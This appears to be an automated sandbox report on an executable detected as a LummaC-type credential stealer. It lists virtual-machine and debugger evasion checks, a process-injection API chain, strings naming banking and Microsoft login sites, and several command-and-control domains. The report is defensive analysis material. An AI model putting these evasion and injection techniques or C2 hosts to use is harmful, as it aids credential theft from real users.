Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0040CC99	3_2_0040CC99
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0040E49F	3_2_0040E49F
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_004374A3	3_2_004374A3
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00427D52	3_2_00427D52
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0042856C	3_2_0042856C
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00415506	3_2_00415506
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00427527	3_2_00427527
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0043EDCE	3_2_0043EDCE
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0043F5E0	3_2_0043F5E0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00437D80	3_2_00437D80
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0041D5B0	3_2_0041D5B0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00406610	3_2_00406610
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0042E617	3_2_0042E617
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00405E20	3_2_00405E20
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00427E22	3_2_00427E22
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00428630	3_2_00428630
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00430637	3_2_00430637
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00426639	3_2_00426639
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00402ED0	3_2_00402ED0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00417EEE	3_2_00417EEE
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0043F690	3_2_0043F690
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00415E9A	3_2_00415E9A
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00414EA0	3_2_00414EA0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0040F6AA	3_2_0040F6AA
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0042774C	3_2_0042774C
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00423750	3_2_00423750
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00421770	3_2_00421770
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0040AF23	3_2_0040AF23
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0043F730	3_2_0043F730
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0043C730	3_2_0043C730
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00410FC8	3_2_00410FC8
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00426FD0	3_2_00426FD0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00437FE0	3_2_00437FE0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0040A780	3_2_0040A780
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0041CFA0	3_2_0041CFA0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_004257AC	3_2_004257AC
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00671000	3_2_00671000
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0067E094	3_2_0067E094
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00696102	3_2_00696102
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00682AA1	3_2_00682AA1
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_006943FF	3_2_006943FF
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00688D90	3_2_00688D90
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00683EA0	3_2_00683EA0

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: String function: 0067E5A0 appears 98 times
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: String function: 00407F80 appears 48 times
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: String function: 0068BE0D appears 40 times
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: String function: 00414290 appears 76 times
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: String function: 006875AB appears 42 times

Source: uUtgy7BbF1.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: uUtgy7BbF1.exe

Static PE information: Section: .bss ZLIB complexity 1.0003249845551894

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/1@1/1

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

Code function: 3_2_004387D0 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

3_2_004387D0

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7492:120:WilError_03

Source: uUtgy7BbF1.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: uUtgy7BbF1.exe, 00000003.00000003.1390477562.0000000003AF6000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390719323.0000000003AD9000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: uUtgy7BbF1.exe	Virustotal: Detection: 69%
Source: uUtgy7BbF1.exe	ReversingLabs: Detection: 68%

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

File read: C:\Users\user\Desktop\uUtgy7BbF1.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\uUtgy7BbF1.exe "C:\Users\user\Desktop\uUtgy7BbF1.exe"
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Process created: C:\Users\user\Desktop\uUtgy7BbF1.exe "C:\Users\user\Desktop\uUtgy7BbF1.exe"
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Process created: C:\Users\user\Desktop\uUtgy7BbF1.exe "C:\Users\user\Desktop\uUtgy7BbF1.exe"	Jump to behavior

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: uUtgy7BbF1.exe

Static file information: File size 19414528 > 1048576

Source: uUtgy7BbF1.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 0_2_0067E75A push ecx; ret	0_2_0067E76D
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_004488E1 push edi; ret	3_2_004488E3
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0043F2F0 push eax; mov dword ptr [esp], F5F4FB8Ah	3_2_0043F2F2
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0067E75A push ecx; ret	3_2_0067E76D

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

Window / User API: threadDelayed 6214

Jump to behavior

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe TID: 7612	Thread sleep time: -210000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe TID: 7872	Thread sleep count: 6214 > 30			Jump to behavior

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 0_2_00690CF8 FindFirstFileExW,	0_2_00690CF8
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 0_2_00690DA9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00690DA9
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00690CF8 FindFirstFileExW,	3_2_00690CF8
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00690DA9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_00690DA9

Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696497155
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: uUtgy7BbF1.exe, 00000003.00000003.1389246708.000000000116B000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1480812391.0000000001169000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1510107757.0000000001169000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1389102087.0000000001169000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.2171505210.0000000001173000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1562773864.0000000001169000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000002.2569817608.0000000001177000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1480945277.000000000116B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: uUtgy7BbF1.exe, 00000003.00000002.2569655131.000000000113C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX<
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: uUtgy7BbF1.exe, 00000003.00000003.1421651420.0000000003B75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696497155p
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696497155
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696497155f
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: uUtgy7BbF1.exe, 00000003.00000003.1421705434.0000000003B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

API call chain: ExitProcess graph end node

graph_3-33432

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

Code function: 3_2_0043DA10 LdrInitializeThunk,

3_2_0043DA10

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

Code function: 0_2_006872FD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_006872FD

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 0_2_006A619E mov edi, dword ptr fs:[00000030h]	0_2_006A619E
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 0_2_00671690 mov edi, dword ptr fs:[00000030h]	0_2_00671690
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00671690 mov edi, dword ptr fs:[00000030h]	3_2_00671690

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

Code function: 0_2_0068C705 GetProcessHeap,

0_2_0068C705

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 0_2_0067E06C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0067E06C
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 0_2_006872FD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_006872FD
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 0_2_0067E420 SetUnhandledExceptionFilter,	0_2_0067E420
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 0_2_0067E42C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0067E42C
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0067E06C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0067E06C
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_006872FD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_006872FD
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0067E420 SetUnhandledExceptionFilter,	3_2_0067E420
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0067E42C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0067E42C

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

Code function: 0_2_006A619E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_006A619E

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

Memory written: C:\Users\user\Desktop\uUtgy7BbF1.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: uUtgy7BbF1.exe, 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: bashfulacid.lat
Source: uUtgy7BbF1.exe, 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: tentabatte.lat
Source: uUtgy7BbF1.exe, 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: curverpluch.lat
Source: uUtgy7BbF1.exe, 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: talkynicer.lat
Source: uUtgy7BbF1.exe, 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: shapestickyr.lat
Source: uUtgy7BbF1.exe, 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: manyrestro.lat
Source: uUtgy7BbF1.exe, 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: slipperyloo.lat
Source: uUtgy7BbF1.exe, 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wordyfindy.lat
Source: uUtgy7BbF1.exe, 00000000.00000002.1337561960.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: volcanohushe.click

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

Process created: C:\Users\user\Desktop\uUtgy7BbF1.exe "C:\Users\user\Desktop\uUtgy7BbF1.exe"

Jump to behavior

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00690062
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: GetLocaleInfoW,	0_2_006908CD
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: GetLocaleInfoW,	0_2_0068BA4C
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: EnumSystemLocalesW,	0_2_006902B3
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_0069034E
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: EnumSystemLocalesW,	0_2_006905A1
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: GetLocaleInfoW,	0_2_00690600
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: EnumSystemLocalesW,	0_2_006906D5
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: GetLocaleInfoW,	0_2_00690720
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: EnumSystemLocalesW,	0_2_0068BFF0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_006907C7
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	3_2_00690062
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: GetLocaleInfoW,	3_2_006908CD
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: GetLocaleInfoW,	3_2_0068BA4C
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: EnumSystemLocalesW,	3_2_006902B3
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	3_2_0069034E
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: EnumSystemLocalesW,	3_2_006905A1
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: GetLocaleInfoW,	3_2_00690600
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: EnumSystemLocalesW,	3_2_006906D5
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: GetLocaleInfoW,	3_2_00690720
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: EnumSystemLocalesW,	3_2_0068BFF0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_006907C7

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

Code function: 0_2_0067EB50 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

0_2_0067EB50

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

